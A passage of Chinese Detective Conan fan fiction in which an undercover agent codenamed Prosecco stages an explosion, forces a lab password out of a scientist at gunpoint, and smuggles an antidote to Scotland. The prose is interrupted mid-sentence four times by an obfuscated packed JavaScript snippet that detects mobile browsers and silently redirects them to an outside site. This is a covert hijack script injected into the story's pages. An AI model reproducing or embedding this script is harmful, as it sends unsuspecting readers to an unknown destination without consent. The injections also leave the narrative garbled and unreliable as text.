“你最好是。”杀手左手搭在踩人的那只腿上,可能加重了力道,地上那个人加重了挣扎,喉咙里挤出断断续续的呜咽。 黑发青年看着面前这个狠厉的人眼睛扫过了另一边放置药剂的柜子。 差不多就是这个时间。 揣在兜里的手按下了那只炸弹遥控器。 “你左手边第二个柜子里的针剂,拿来给我。” 他按照杀手所指的方向,抽出来一根未用过的透明针剂。 “我们组织的套路还真是———” 手机铃声响起。 ——我们组织的套路还真是一成不变地好猜啊。 珀洛塞可停顿一瞬,示意杀手接一下电话。 “喂。”琴酒接起电话,一脸冷漠地挪开踩在人脸上的鞋,底下的人脸被踩得有点不成样子,血糊了一地———不知道是脸上的,还是肩膀上的。 “让017周边的人去管一下,附近难道没人了吗?” “清点一下损失…什么叫有条子在附近?” 珀洛塞可看着杀手皱着眉走到一旁,晃了晃针向对方表明目的。 杀手正要说点什么,就看见那人直接蹲下,一针扎进了波特酒的脖子。 “珀洛——” 针剂眼看着推到底,地上的人呼吸速度明显缓了下来。 在针口抽离的同时,一件金属管死抵在了他的头顶,金属的质感冰凉,带着枪械主人的警告。 “你最好给我一个合理的解释。” 青年没有搭理拿枪站在他前面的杀手——那人已经挂掉电话,可能没带感情,也有可能带着怒意地盯着他。他自顾自地把针尖在外套上蹭了蹭。 袖口上有一处不明显的水渍,不过没人在意。 “大人。”珀洛塞可顶着枪口起身,“你这一天天的不是用枪指着人,就是踹人踢人掐人的,那天我给你递的那杯酒没把你火气降下来?” 一剂空空如也的AMS008放在他的手心里。 “体会一下是什么感觉而已。” 他顺势踹了一脚底下躺着的人,眼中是切实的不满和冷意。 “毕竟他给我下毒啊。” 琴酒接回那只针剂,视线仍停留在珀洛塞可脸上,眯了眯眼:“再有下一次,你这双手也别想要了。” “悉听尊便。” 青年无所谓地把手揣回外衣口袋,退到了一边。 杀手又拽着那人的头发,把人拖到墙边,动作比几个月前波本扶着他那次粗暴了不少。 珀洛塞可咋舌,觉得琴酒一定是因为上班太多,上得肝火旺盛,见谁都恨不得给上一枪。 他看着琴酒一边把玩着枪,一边絮絮叨叨地问话,大多数有关美国那边的药物交易———那人好像执着于审叛徒和卧底,因为这是为数不多的解压机会吗? 他不知道,也不关心,他现在还在这里站着也只有两个目的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427657|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :第一,他想试图知道组织和美国科西嘉财团到底有什么关联,不过目前看起来波特酒自己也不太清楚。第二,他要确保波特酒这人按照他给的剧本回答问题。 毕竟他已经用公安的针剂代替了那一剂AMS008。 还好,琴酒真的如他所愿地被那场爆炸转移了注意力,他成功完成了一招偷梁换柱,不然今天他就要试图在这里杀了琴酒和波特酒,然后冲进组织医疗点带着好同事跑路。 做了这么多事,就是为了救一名疑似和美国财团有关系的官员。 青年靠在墙边抱着手———衣服外套的口袋里又是遥控器又是针,还有两柄刀,太硌人了,只能把手拿出来。 值得吗? 白炽灯平稳地照着,周遭裹满了隔音棉,对话声融进棉里,石子掉进海中一般,没有回响。 值得的吧。 起码那人在表面上是一位父母官。 问话还在继续,珀洛塞可听着耳边他知道的、不知道的、有用的、没用的——— ————“说一下今天你都干了什么?” 和他最关心的。 青年不动声色地从口袋里拿出一柄小刀,确保对面的波特酒不用抬眼就能看到。 他和好同事的职业发展会往哪边倒,可全看这句回答了。 如果对方给出错误答案,他保证下一秒就会让这把刀出现在对方的气管里,也不用什么解剂了,现在他就能解决对方一生的痛苦。 波特酒的声音已经完全平稳,珀洛塞可听到他这么回答:“我知道今天中岛本木会出现在座谈会,猜测组织不会放过这一次机会,在附近蹲守了一上午,看见苏格兰走进了街道楼内,但是我不确定他的具体位置,枪响之后我上了天台,想击杀苏格兰,但是被珀洛塞可打断…………” ————『我让人伪装成了你的样子,放苏格兰冷枪,结果没想到卡尔瓦多斯那个废物竟然是卧底,现在事情闹到了琴酒那里,人我也没杀成,我需要你帮我认领一下,就说是你开的枪,之后被我打断了。』 ————『我是哪边的人和你没关系,你只需要照做。』 ————『谁让苏格兰知道了一些不该知道的。』 珀洛塞可根据苏格兰的剧本进行了二次创作,把自己和苏格兰推向了两边。 反正波特酒从来没见过苏格兰,他也不需要知道自己为什么没成功杀死苏格兰,打一下信息差,对方能照做就行。 而现在,对方给出了一个满分答案。 青年收起手上的刀刃,表情看起来和刚刚一般无二。 但是波特酒知道自己通关了。 珀洛塞可也知道这一关快要过去了。 现在他们需要的,就是在不远处的实验室内,那一份THK系列的解药。 深秋的夜晚,寒意顺着缝渗透进室内,丝丝缕缕钻进衣领。 “走了,珀洛塞可,审完了。” “还是你想在这里住两天?” 珀洛塞可拢了拢衣服。 “大人,下次我会带一箱菊花茶来给您降降火。” 琴酒又要掏枪了。 青年趁着杀手还没有把枪再指到自己头上,早早溜之大吉。 夜快过去了。 21. 第 21 章 057 【电脑通讯】C:晚上九点来接应我一下,地址一会发给你,消息保密,一个人开车来。 【电脑通讯】:收到。 【电脑通讯】C:借你能信任的人用用,警视厅不干净。 【电脑通讯】Z:我把我下属的联系方式给你。 058 晚上八点四十八分。 根据现在的情报,诸伏景光还待在6号医疗点,竹取无尘也不敢刻意去打听状况,不过按照琴酒对于抓叛徒的热衷程度,对方应该是难逃明天那一劫。 如果一会没有拿到解药,诸伏景光很有可能会死。 所以解药必须到手。 青年有些不安地潜在实验基地附近,咬了咬牙。 基地在城郊,是一栋没什么存在感的三层楼房,爆炸必定会引起混乱,维洛在一楼实验室,波特酒关押在二楼的北侧禁闭区,楼内有大概10位科研人员以及数名被关押人员和安保人员,竹取无尘不能露脸,不然和自爆没区别。 这场行动他会甩锅给波特酒背后的组织,希望对方没有脊椎病,能够扛好这一口锅。 桐生晴的车辆已经停在背后的林荫小道,所有的监控摄像头已经全部关闭,无论怎么样那位警官是安全的。 夜里静悄悄的,月光下的小路蜿蜒曲折,一条漫长的引线一般,指引着人不知道去往何方。 竹取无尘抬头看着晴朗的夜空,一轮圆月高悬,干干净净地映在青年沉黑的瞳孔。 等整件事情结束之后,或许他能有一场不被打扰的睡眠。 黑发青年带上口罩和变声器,直接用勾爪勾住顶层,三步并作两步地爬了上去,顶层的天台视野很好,哪怕是林荫小道后面的车辆也能看清,他距离桐生晴大概有不到五百米,一会先优先把药拿到手,再去管其余的科研人员。 他戴好手套,拿出今晚代替刀刃的枪械,思量着一会的事件优先级———不过波特酒的话———青年眼神闪了闪。 晚上时间九点整。 爆炸声突然响起,思绪淹没在了轰鸣中,警报声乍起,竹取无尘勾了勾嘴角,稳住了身形,从天台死角探出,清点着楼内人员撤退情况。 根据降谷零的资料,维洛身高168,男性,黑卷发,而目前撤退的科研人员里没有符合要求的人员。 由于需要隐藏身形,外套稍微有点宽大,青年扯了扯衣服,重新挂回勾爪,飞身从天台死角跳进了二楼禁闭区,这里刚被炸弹轰出来个大洞。 警报声还在持续,烟尘很大程度上阻挡了视线,他加快了速度,有模糊的人影和他撞了个正着———是那个被关在波特酒对面的人,他昨天刚好见过。 “救……”求救声还没有喊出,竹取无尘就已经先一步敲晕了对方。 用刀会暴露自己,这里不是阿蒂斯的战场,他没有必要在这种情况下浪费子弹。他甩了甩头,试图抹去自己脑中莫名其妙浮现的那本警官证。 现在不是纠结的时候。 “喂!你!咳咳…站住!二楼有人员出…” 子弹快速遏制住那人尚未出口的报告,虎口被震得有些发麻,有没有直接击中要害青年也没看清,这个世界的枪真的太难用了。 不过让对方闭嘴了就行。 竹取无尘飞速检查着左右两边的禁闭室,确认波特酒已经不在二楼,他需要快点找到对方。 枪声暴露了位置,刚刚大叫的那人已经倒地,不过也引来了二楼的其余安保人员,有流弹在后方胡乱扫射而来。 青年迅速冲到楼梯口,看着数人穿过持枪穿过烟幕,他猛地从二楼往下一跳,然后按下炸弹遥控器。 “轰————” 楼梯在巨响中轰然倒塌,水泥石块压住了不少后方的人,堵死了二楼安保人员追踪的道路。距离爆炸点太近,灼热的气流扑向他,青年不得不翻滚卸力,热浪中有碎石砸下,伤到了后背,火辣辣的疼刺得人皱了皱眉。 同时被炸毁的还有实验基地的大门,竹取无尘需要保证现在维洛和波特酒两个人都和他困在一块。 要是两个人手牵手都跑了,他就真的是白炸一通。 楼里的电力系统被毁得差不多了,相较于刚刚震耳欲聋的轰鸣声,基地陷入短暂的黑暗和沉寂———如果忽略随时刷新掉落的石块,和那明显缠斗中的声音的话。 青年四顾周围判断了一下楼层的状况,天花板和墙面已经出现了裂痕。 后背的伤口隐隐作痛,口罩紧贴在脸上,呼出的热气全部被闷在这块湿布中,方才夜色中那略带潮湿的、微凉的空气已然成了奢望。 要快。 他捂了捂正在嗡鸣的耳朵,摸黑持枪走进了维洛的实验室,看着还在焦灼中的两人。 波特酒把那位可怜的科研人员反擒压在桌上,反向按着对方的手腕:“老子再问你一遍,密码是多少,不然老子就折了你的手你信不信。” “…妈的…你要折就折…反正你们都不会让我活着出去的…死在这里比出去之后死在上面的人手里好多了……”维洛脸上挂了不少彩,冷汗打湿了卷发,完全没有一点服软的样子。 “都是给这个破组织卖命,你这么忠臣干什么…快点说密码…老子不想和你在这里一起被压成饼…” “呵呵……我要是说了…这帮人会放我家………” “砰!” 一声突兀的枪响在黑暗中响起,子弹擦过地面划出火星,还在纠缠的两个人齐齐回头看着门口那个带着口罩的青年。 “聊完了吗?” “你…是你。”波特酒转头,认出了来人,他朝着竹取无尘示意了一下手底的维洛,“这人不肯说密码,保险箱嵌在了墙里,没办法一起拿走。” “让开。” “你什么意思?” “我让你让开。”实验室完全被黑暗笼罩,看不清青年的眼神,只能听出来声音里已经带着不耐。 “嗤。” 波特酒松开手,科研人员由于之前已经受了不少伤,没了支撑,人咕噜一下摔坐在了地上,看着竹取无尘一步一步向他走来,他只能手脚并用着向后蹭去———直到贴上了背后那面冰冷的墙。 “密码。” “不…我不会告诉你们的…我…” 子弹又“砰!”一声射出,擦着手臂打进墙。 精神力值降低至75% “密码。”青年又把枪小幅度地换了一个指向,这一次是小腿处。 维洛看不清那人的脸,只能听着对方低沉而带着压迫的声音,本就已经蔓延的恐惧更是加剧。 “我不会…” 第二声枪响紧跟着这一声否定词响起,子弹直接打进了地上人的小腿,带出来一阵撕心裂肺的嚎叫。 精神力值降低至65% “密码。”第三次,和之前一模一样的词汇,催命符一样按时响起。 青年又改变了自己枪械的指向。 “密……密码。”科研人员的呼吸由于腿部受伤出现了明显的混乱,他看着对方那直接对准自己膝盖的枪械,近乎崩溃。 精神力值降低至55% 【密…码……是4…869TX】 恐惧是个好东西,被放大的心声不受控制地钻出。 他听到了。 维洛想象中的剧痛并未到来,他看见面前的人突然收起了枪,径直朝着保险箱走去。 不…不可能…他怎么会…… 科研人员惊恐地睁大了双眼。 竹取无尘没有在意一旁两人的眼神,正确按下密码,利落地打开保险箱,里面数十瓶药物重见天日。 波特酒见状,突然从青年的后方发起袭击,直冲着人的脖子而去,想一招让对方殒命。 刀刃一闪。 三节手指齐齐掉在了地上。 “啊…啊—————” 又是一阵撕心裂肺的叫声。 青年手中的枪械不知道什么时候换成了他常用的刀刃,他侧头,冷冷盯着这个想杀了他抢药的人。 “老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427658|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子今天杀了———” “咣。” 事情发生得很突然。 事情结束得也很突然。 青年有些无语地看着这个菜得不行,还非要冲上来,结果被他一脚踹晕过去的波特酒,转头和坐在一旁也愣了的维洛面面相觑。 好像有点眼熟。 他记得和波特酒第一天见面的时候,自己就是这样踹飞了那个干邑的小弟。 或许自己应该现在就一枪了结了他———但是公安那边需要这个人口中的情报,他昨天报给琴酒的消息不一定是真的。 不过这些都不是重点。 竹取无尘低头,看着眼前的数十瓶药物,一直紧绷的神经松了松。 他终于、终于拿到了。 不会再有这么多人死于这个药了。 维洛看到对方拿着药,一下从刚刚的突发事件中惊醒,歪歪扭扭地从地上站起来:“不…虽然不知道你是怎么打开保险箱的…但是求求你…你不要拿走…我会死的…我家人会死的……” 枪伤虽然没有伤到神经,却也影响了这位久坐实验室的科研人员的行动能力。 “求求你…求求你…我……” “那你的意思是,那些死在THK药物下的人就活该去死吗?你的家人比他们重要?” 生命与生命孰轻孰重,该用什么衡量? 竹取无尘看着面前这个已经站不稳的人,他想到了自己拿到代号的第一天,那位在琴酒的指令下自杀的cia探员。 还有在禁闭室里,那个与他未曾谋面,就直接被推走的人。 还有诸伏景光——明明他可以直接开枪杀了中岛本木,不会有人怪罪他,他却还是选择把枪械对准了自己,这份解药要是拿不到,明天他就可能死在组织里。 更别提那个天南海北日夜奔波的降谷零,竹取无尘不止一次震惊于他获取情报的速度,他都希望这位公安哪怕可以停下来休息一瞬,哪怕只是一瞬。 还有更多、更多的人。 “不…不是的……” 维洛一下子跪在了地上,他拽着青年的裤腿。 “我也没办法…我也是被逼的……” 竹取无尘看着这个地上哭嚎的人,沉默地闭了闭眼。 漂亮话谁都会说。 谁都会说自己有苦衷。 不能再纠结了,组织很快会派人过来,到时候就都走不了了。 “那我给你一个选择。” “你…你说什么?” “一个生或死的选择。” 他终究没有选择扣下扳机。 059 竹取无尘扛着晕死过去的波特酒,带着一堆药和资料,后面还跟着一个一瘸一拐的白大褂男人,从一楼东南面被轰出的大洞走出,躲开了组织周边的搜查,在树林里遇到了前来接应的桐生晴。 “你这是?”桐生晴看着爆炸一阵又一阵碾过房屋,原本做好了接应一位伤痕累累的竹取无尘的准备,结果就看到对方这样子走出来。 青年“嘭”一下把身上扛着的人丢到地上,又敲晕了一边站着的维洛———他早就想这么做了,要不是自己背后受了伤,扛不动两个人,他怎么可能给维洛醒着走出来的机会。 他喘了口气,指了指地上的两人。 “丢回车里,先打两针麻醉,然后直接联系警察厅那边,这两个人不能放在警视厅。” “这个人,迅速查清楚家庭背景,转移他的家人,问清楚他知道的所有情报,要快,组————” 青年的声音戛然而止。 竹取无尘皱眉,迅速转头看向身后。 有人在看。 “有人跟着?”桐生晴看着对方的动作,下意识摸上了身后的枪械。 “先把这人的家庭情况翻出来,你先走。” 青年把资料和大部分药剂丢给了身后的联络人,然后又朝着刚刚出来的废墟冲去。 他的感觉不会错,刚刚绝对有人在盯着他和桐生晴。 是谁。 22.第 22 章 060 竹取无尘和桐生晴的接头地点基本处于视觉死角,如果想直接看到他们两个人,那就只有一个位置。 他刚刚爬上去过天台。 深夜的风混着泥土被烧焦的气味侵入青年的鼻腔。 他需要再快———不能让天台上的那个人离开——事情不能在这里功亏一篑。 天台的东南面已经被炸毁,西面是组织人员聚集的正门,那么那人会从哪里出现就已经显而易见。 他直接从灌木丛中蹿出,几乎是同时,那人单手拽着勾爪的绳索,从楼上跃下。那是个熟悉的身影———青年皱了皱眉,一柄小刀直接从手中飞出,直朝着对方喉咙掷去。 距离太远,响动太大。 那人早已注意到竹取无尘向他袭来,刀刃破空的声音令他瞳孔一缩,男人迅速顺势向前翻滚避让,刀刃切断了数缕发丝,毫不留情地钉在了后方的墙面。 “啪咔。” 黑发青年眼看着刀刃被躲开,他面无表情地将手探入外套,大步朝着对方逼近,枪械在阴影中抬起。 “晚上好,黑麦。” “你看到的东西挺多的啊。” 他需要等待下一个能一招毙命的机会,不能用枪,确保不暴露自己的位置,他还要在明天准点无伤地出现在诸伏景光所在的医疗点。 “噢?” 上扬的尾音从那本该已经被割断的咽喉中发出。 枪械有点挡视线,竹取无尘歪头,看着这位合作过一次的狙击手面朝着枪口从容地做出了一个投降的动作。 “别露出这样的表情,珀洛塞可。” 男人的嘴角勾出一个难以捉摸的弧度。 “你今晚带走的东西也不少啊。” “考不考虑把我一起带走?” “………”青年搭在扳机上的手指紧了紧,切实有了想马上开枪的冲动。 原来如此,所以琴酒才会每天都这么暴躁吗。 真是一个不好的消息,他竟然在这种情况下和那位杀手共情了。 他一把拽下了还闷在脸上的口罩,冷笑道:“如果你是说带走你的尸体的话,我可以考虑一下。” “不过你受伤了。”赤井秀一捕捉到了那股来自对方的血腥气,在火药味里格外明显。 “以你的枪法,你现在能一枪打中我吗?” “不如我们换个地说话。”男人示意了一下周围明显嘈杂起来的环境,“再耽搁下去,我们两个就都走不了了。” 竹取无尘自然知道对方的意思,他无视了前面那句疑似挑衅他枪法的话语,重新审视对面这个穿着黑色风衣的男人。 青年的一只手仍然揣在口袋里,紧握着另外一把刀刃———他在思考,对方一个狙击手大晚上来这个实验基地是要做什么。 “我还以为你就等着这帮人来呢。” 如果他没有记错的话,这个人和诸伏景光是同一天服用的THK004。 那么也就意味着,他明天也会药效发作———但他并不选择去拿缓释药,反而出现在这里。 这是否代表他们有同样的目的。 “那可不好说。”赤井秀一放下一直举着的双手,拔下刚刚青年钉在墙上的小刀,拾起地上那几缕被斩断的发丝。 “我想我们有相同的目的。” 夜色里,竹取无尘盯着男人凛冽的绿眸。 精神力至降低至5% 尖锐的痛钻进了太阳穴,生生要把人的脑袋劈成两半,血管在眼前闪电般跳动,带着整个视野都在扭曲。 他看见了面前这人的精神画布。 这人…… 后背的乱七八糟的伤扯着人,口袋中的刀刃割破了手,带回来真实的痛感。 要了命了。 青年放下手中举着的枪械,模模糊糊望着面前的人在愣神片刻之后,拿着他的刀朝他走来。 赤井秀一发现面前人晃晃悠悠地放下了枪,眉峰微扬,走了过去:“走吧,我们换个地方。” “你的刀。” 竹取无尘一言不发地收回利刃,和男人一前一后地撤离了这个感觉随时会坍塌的现场。 今夜注定无眠。 “所以……”二人刚刚到达安全地带,赤井秀一组织着语言,试图打探一下面前这人到底属于哪一边。 但是他的话语被刚刚保持沉默的青年打断,声音不大,却字字清晰。 青年说:“赤井秀一。” 那双沉黑如墨的瞳孔融进了黑夜,男人感觉自己的呼吸骤然一停。 青年还说:“你原来是FBI啊。” 优秀的FBI探员几乎是下意识地举枪,对上了那人的额间,脸上那原本残留的、游刃有余的笑容已经消失,他眯了眯眼:“你怎么知道的?” 自己的头到底要被枪指着多少次。 竹取无尘已经无力吐槽,他拿出刚刚到手的解药,顶着枪口上前一步,伸手递给了对方——药瓶上还沾着不少血,这是由他被割破的手染上去的。 “你不需要清楚我是怎么知道的,但是你说得没错,我们确实有相同的目的。” 青年话语间有难以遮掩的疲惫,他侧靠在一旁的树杆上。 “这是解药,敢不敢吃,看你的胆量。” “我人就在这里,敢不敢合作,也看你的胆量。” 竹取无尘抬手,轻轻推开指着自己的枪管。 “我们重新认识一下吧,赤井探员。” 赤井秀一缓缓收回枪支,接过染了血的药瓶,视线扫过那人还在淌血的手,又落回到对方的脸上。 “噢?” 又是这一句上扬的尾音,但是状况已然和刚才截然不同。 月光透过了树荫,洒在两人之间。 061 和FBI谈话怎么可以这么费时间。 竹取无尘用了大力气让赤井秀一放弃试探自己是怎么知道的,两个人交换了一些可以让对方知道的资料之后,天已经泛出淡蓝。 快没时间了。 青年一脚油门冲回了自己的安全屋,给背后的伤口草草消了毒止住血,重新换了一套衣服,赶到诸伏景光所在的医疗点蹲守。 他虽然可以现在就进去把解药拿给对方,但是医疗点处处封闭,如果他现在进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432978|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,必定会被布控齐全的监控设施记录———他没有办法解释为什么这个时候他会去见苏格兰,但凡以后他们两个之中有任何一个暴露,这场见面都会成为引燃草絮的火星。 有了队友,办事的效率确实会加倍,但是相对应的,风险也在加倍。所以在竹取无尘的剧本里,他理应和苏格兰处于对立面。 这场舞台还需要一个见证人,按照他对于组织的了解程度,这个见证人将又会是琴酒。 那位莫名酷爱审叛徒的杀手绝对不会放过这次机会。 所以他一定要赶在琴酒来之前蹲在门口,卡时间进去和对方“偶遇”。 将近50个小时没有合眼,头脑有些沉,青年把手中已经见底的冰咖啡丢进垃圾桶,在马路边看着来来往往的车辆。 那辆保时捷365A如期而至。 竹取无尘脸上的笑容不可查地放大了些许,他整理了一下自己戴着的皮革手套,闪身先一步走了进去。 “大人,好久不见。” 珀洛塞可刚刚在一楼前台拿了自己的缓释药,刚准备出门,就直接撞上了从门外进来的琴酒。 他向对方展示了一下自己手上的绿色药丸:“没想到来拿药也能碰到大人。” “这是去找苏格兰?” 琴酒不明地冷笑了一声,前天面前这人抢先一步给波特酒注射药物的场面还历历在目,他合理怀疑珀洛塞可就是在想方设法跟着他审人。 “怎么,你又要跟着了?” “不可以吗?”青年完全自觉地跟着走在了杀手的身边。 “自己受过折磨之后,再观看别人受同样的折磨,你不觉得这很好玩吗?” 那人冷绿的眸子中闪过一丝异样的情绪,他撇了一眼走在一旁的人,对方不像往常一样穿着运动外套,反而罕见地套上了一件大衣,又笑了:“随便你。” “不过这次你要是再动那个药剂,你的手就不要待在你的身上了。” “这话你前天说过一遍了。” 珀洛塞可当着琴酒的面吃下了那颗绿色药丸———当然,这是个假动作,他昨天晚上已经当着赤井秀一的面吃了解药,确认过没有负面影响,所以自然没有必要再把随便什么东西往嘴里放。 “所以你今天就特意戴了手套?” 琴酒并没有对青年服药发表什么言论,视线停留在了对方那双手套上———他可不记得珀洛塞可在不出任务的时候,有什么戴手套的习惯。 对方是否想做什么需要掩盖指纹的事情? “哦呀。” 青年眨了眨眼,脸上没什么表情,他顺手把手套摘了下来,向杀手展示了一下自己手上包扎好的伤口。 “你要是天天玩刀,你也会被自己割两个口子。” “翻车了挡一下而已。” 他戴回自己的手套。 “我又不会时时刻刻都在想干坏事,大人。” “你最好是。” “这话你前天也说过一遍。” 琴酒按捺住了自己想给对方一枪的心情,按开了面前的房门。 珀洛塞可看着面前的状况,眉心一跳。 23.第 23 章 062 空气中弥漫着丝丝腥甜的气息,可能是由于珀洛塞可才吃过解药不久,现在他还能闻到。 苏格兰双手被缚在椅子的扶手上,他没有完全注射尽那只公安给的止痛针,以确保自己能表演出真实的反应。但是疼痛确实远超过他的想象,原本只是细微的头疼,在闻到这一屋子的甜腥味之后,五脏六腑仿佛都被激活,争先恐后地要从他喉咙里呕出。 还好有那只止痛针,让他可以分出多余的力气来思考接下来的对策。 门被打开的声音惊扰了椅子上的青年,他抬头,看见两个穿着黑色大衣的男人走进。 是竹取无尘和琴酒。 太好了…起码竹取无尘可以在这里看着,万一他出现什么差错,对方就可以直接采取行动———不管是杀了他,还是杀了琴酒,亦或是直接逃出去通知波本,都可以取得先机。 太好了。 湛蓝色的猫眼死盯着门口的二人,他看到自己同事那只藏在监控和琴酒视野死角的手正在敲动着什么。 是摩斯电码。 ———『激怒我。』 苏格兰努力坐直,往椅背上靠了靠,他歪头,棕黑色的发丝往一边垂下,挤出一点带着嘲讽的轻笑。 “原来是你们两个啊…哈……” “真遗憾啊…prosecco…没让你看到我也痛到趴在地上的狼狈场面。” “哈?”只是看热闹的珀洛塞可被莫名挑衅了一脸,他走上前,俯视着椅子上的人。 “怎么,苏格兰你也不装了?” “怎么会…我肯定没有你会装……毕竟我不会莫名其妙地被人丢在地上,还大放厥词说要当什么高———唔———” 珀洛塞可突然出手,精准地钳住苏格兰的下颌,把对方的头猛地往后一按,后脑撞上椅背顶端,未说完的话戛然而止。 “我觉得你要是这么不会说话,平时也不用勉为其难地装成一副好相处的样子。” 皮质手套严实捂住了人的口鼻,在温热又艰难的呼吸间覆了上去,进入鼻腔的空气越发稀少,苏格兰蓝色的瞳孔开始失焦,在缺氧和疼痛中逐渐涣散。 珀洛塞可微微俯身,大衣摆垂落到了地面,挡住了部分的视线。但是琴酒可以清晰听见这人凉薄的声音落在地上。 杀手饶有兴趣地看着这一幕。 “要不你从今天开始就别说话了吧?” “你觉得呢?” 药片进入了对方的口腔,珀洛塞可趁机从衣领中瞄了一眼苏格兰受伤的位置,那里已经包扎好了,没有在刚刚的动作中造成二次伤害。 “好了珀洛塞可。”琴酒看着椅子上的人挣扎的动作越发地小,他眯了眯眼,出言制止了对方。 “你想杀了他也换个地方杀。” 黑发青年闻言看了一眼琴酒,“啧”了一声,放开手,椅子上的人顿时蜷下身子喘息,那双猫眼冰凉地侧盯着一旁试图杀了他的男人。 “呵……只会当琴酒的狗可当不成高层啊……prosecco。” “苏格兰,你是真的想死,我不介意…” “我说好了。”杀手的话语再次响起。 珀洛塞可眼神冷了一瞬,他调整了一下自己的手套,退到一边。看着琴酒拿出AMS008,尽数注射进了那人的血管。 青年再一次围观着这一切,下颚线紧绷,揣在口袋中的手紧攥成拳。 他已经能做到所有他能做的了。 不能再出事了。 “所以,苏格兰,你的任务到底为什么失败了?” 药片在口中化开,苦涩地沾在舌根,药物还没有完全生效,冰凉的药剂又注射进血管,世界七零八落地掉在地上碎成一团,昏沉但又清醒地摆在眼前。 疼痛在消解。 耳旁有人在说话,真实的、虚假的回忆被勾起,身体像灌了铅一样重,但是意识却无比清明。 竹取无尘的手套上有一个双层的机关,他刚刚给他塞了一片解药。 一招暗度陈仓。 但是对方是怎么在短短两天内把解药弄到手的? “因为波特酒放我冷枪。” “我不至于为了组织的一个任务就直接死在那个天台上。” “嗤。” 珀洛塞可很配合地在一边附上画外音:“废物。” “早知道他看我这么不爽,那天我就应该等波特酒杀了他再上去。” 银发杀手看着这两人虚假的友谊小船就此破裂,没有多说什么——毕竟他又不负责调节下属的关系。 男人接着固定流程问话。 “你是否配合过卡尔瓦多斯的行动?” “没有。” “你是否清楚卡尔瓦多斯属于警视厅?” “不知道。” “你是否为第三方组织或者情报机构提供过帮助?” “从未。” “………” 珀洛塞可听着问话,感觉一直压着自己的东西轻了不少,空气终于顺着气管进入了肺里。 青年松开了紧攥的手,看着一旁垂着头的诸伏景光。 自己当时或许不应该用那么过激的手段让对方信任他的。 难以言说的情绪在事态趋向平稳之后灌进了大脑。 这场暗无天日的博弈还要持续多久。 “叩叩。” 房间里清醒着的两人转头向门口看去。 伏特加拿着电话直接走进房间,对着坐在一旁的琴酒说道:“大哥,朗姆那边出事了,是说……” 话语没有继续,伏特加抬头看了一眼珀洛塞可。 银发杀手直截了当地接了话:“没事,接着说。” “019实验基地被炸毁了一大半,波特酒失踪,维洛和数名人员死亡。” “哦?”杀手咧了咧嘴,笑了一声,波特酒在丢给维洛那边之后,整件事就安排给了朗姆负责,现在这件事出现了这么大的差错,他自然乐意看朗姆倒霉。 “走,去现场看看。” 男人起身,没再管旁边的二人,珀洛塞可见状,也要跟着走出房间门,却被杀手一句话堵了回来。 “珀洛塞可,把苏格兰弄走。” “哈?”青年漆黑的瞳孔盯着对方,“大人,我可以直接把他弄死倒是真的。” “他要是死了,你就去陪他。”琴酒心情不错地点了支烟送进嘴里,“随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437129|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你把他丢去哪,下次你要是再跟着我审人,你就接着负责收尾。” 说罢,男人领着伏特加离开了门,房间里腥甜的气味仍未散去,竹取无尘确认琴酒已经离开,走近诸伏景光的身边,扯开了束缚着对方的捆带。 青年伸手去扶自家同事,动作间却牵动了自己背上的伤口,他疼得微微一滞,又怕控制不好力气,给诸伏景光的伤口造成二次伤害,力道有一瞬间的失衡,面前的人已经从椅子的束缚中脱出,整个人向前摔去。 他瞳孔一缩,几乎是本能地侧身,用一侧的肩膀堪堪支撑住了快要倒下的人。 “苏……” “没事…我没事……” 猫眼青年头靠在竹取无尘的颈窝,吐息是温暖的,他用仅有两个人能听到的气音安抚着对方,那声音很轻,却格外清醒。 竹取无尘抬起眼,望着在墙角闪烁的监控摄像头。 没事了。 没事就好。 这就够了。 063 青年背着自家同事回了车里,对方已经陷入了昏睡,他只能从尚且平稳的呼吸中,勉强判断出这人目前没有太大的危险,具体情况还需要更详尽的检查。 引擎发动,一直紧绷的神经开始松懈,疼痛和晕眩迟涌而来。 